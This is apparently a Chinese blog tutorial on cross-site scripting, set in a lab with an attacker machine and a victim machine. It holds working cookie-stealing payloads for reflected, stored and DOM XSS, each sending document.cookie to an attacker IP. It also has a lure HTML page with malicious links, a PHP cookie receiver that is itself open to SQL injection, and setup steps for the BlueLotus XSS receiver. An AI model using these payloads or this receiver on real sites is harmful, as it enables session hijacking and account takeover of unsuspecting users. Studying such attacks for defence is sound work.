本文最后更新于 2024-07-26,文章内容可能已经过时。

XSS

免责声明

⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,
决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠

一、概述

1、xss: cross site scripting 跨站攻击脚本。利用浏览器进行脚本解析,攻击受害者。

注意:这种攻击主要是攻击客户端,对打开浏览器访问网页的用户产生影响,不会对服务器产生影响。攻击是一次性的,点击完即结束

第一种:反射型:

直接将js代码附在url中,把url发送给指定的用户。引诱其点击。

(1)非DOM型:直接把用户输入的内容显示在页面上,不修改任何html标签的属性

(2)DOM型:会修改html标签

第二种:存储型

把js代码通过后端漏洞,存入数据库中,由于页面在接受服务器返回响应中存在从数据库中取出的js代码,造成访问该页面的所有用户被攻击。

2、利用的前提

(1)网页有用户输入的地方

(2)用户的输入内容会被输出在网页中

(3)诱导用户点击包含恶意代码的链接地址

3、危害

1、窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作,例如进行非法转账、强制发表日志、发送电子邮件等;
2、强制弹出广告页面、刷流量等;
3、网页挂马,进行恶意操作,例如任意篡改页面信息、删除文章等;
4、进行大量的客户端攻击,如DDoS攻击;

二、代码演示:

192.168.248.128是黑客机器

192.168.20.45是受害者机器

反射型:

cookie获取,盗用用户身份(越权):

1、在linux服务器上,创建一个js文件getcookie.js

new Image()意思是动态创建一个Img标签,并且请求src的地址获取图片

new Image().src='http://192.168.248.128/attack/receivecookie.php?ucookie='+document.cookie

2、在linux服务器上,创建girl.html,里面包含着能吸引用户点击的链接地址

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>

</head>

<body>
<a href="http://192.168.20.45/hz03/goods/product/php/productlist.php?goodsname=<script>alert(1)</script>&search=1">
    <img src="0.jpg" width="200px" height="200px">约吗?</a>
<br>
<a href="http://192.168.20.45/hz03/goods/product/php/productlist.php?goodsname=<script src='http://192.168.248.128/attack/getcookie.js'></script>&search=1">
    <img src="0.jpg" width="200px" height="200px">约吗?</a>

    <br>
    <a href="http://192.168.20.45/hz03/goods/product/php/productlist.php?goodsname=<script>new Image().src='http://192.168.248.128/attack/receivecookie.php?ucookie='%2bdocument.cookie</script>&search=1">
        <img src="0.jpg" width="200px" height="200px">约吗?</a>  
</body>
</html>

3、在linux上创建一个专门接受用户cookie的php文件,receivecookie.php

<?php  

include '../goods/common/dbconn.php';
$ucookie = $_GET['ucookie'];
$refers = $_SERVER['HTTP_REFERER'];

$sql = "insert into usercookies(cookies,refers,createtime) values('$ucookie','$refers',now())";

$result = mysqli_query($conn,$sql);
if(!$result){
    echo mysqli_error($conn);
}

mysqli_close($conn);
?>

4、数据库中创建一张表,保存用户的cookie

CREATE TABLE `usercookies` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `cookies` varchar(1000) DEFAULT NULL,
  `refers` varchar(255) DEFAULT NULL,
  `createtime` datetime DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

存储型:

找到可以输入信息并且输入的信息还会回显在某个页面上。例如评论


写入js脚本页面可能没有回显,需要查看其他页面回显位置。

在发帖子的内容输入框中输入类似如下的脚本:
<script>new Image().src="http://192.168.248.128/xssattack/getcookie.php?ucookie="+document.cookie</script>

或者发帖内容包含如下脚本:
<script  src="http://192.168.248.248/xssattack/getcookie.js"></script>

DOM型:

找到一个页面上有input输入框的,并且输入的参数可以回显在这个输入框中:

"><script>new Image().src="http://192.168.248.128/attack/receivecookie.php?ucookie="+document.cookie</script> <span a="

三、BlusLotus工具

1、下载地址,需要注册github账号

https://github.com/firesunCN/BlueLotus_XSSReceiver?tab=readme-ov-file

image-20240223120604202

2、把压缩文件上传到/opt/lampp/htdocs目录

image-20240223120815517

3、解压缩

unzip BlueLotus_XSSReceiver-master.zip

4、修改目录名称

mv BlueLotus_XSSReceiver-master bluelotus

5、修改目录权限

chmod -R 777 bluelotus

6、访问地址

http://192.168.136.129/bluelotus/install.php

image-20240223121006720

image-20240223121104109

image-20240223121404159

点击上图的登录按钮

image-20240223121454785

输入密码后,登录成功

image-20240223121527000

7、添加自己的模板

在左侧树形菜单选择”我的JS“—>插入模板—>default.js

image-20240223141328884

输入文件名,文件描述,点击底部的”新增“按钮

image-20240223141552934

image-20240223142229117

image-20240223141728814

把攻击脚本复制出来,在发帖的内容部分输入,即可。

image-20240223141826606

点击“提交”按钮

image-20240223141932044

点击最后一个帖子,此时攻击开始了

image-20240223142715859

可以看到收到了一条用户的cookie信息

image-20240223142756994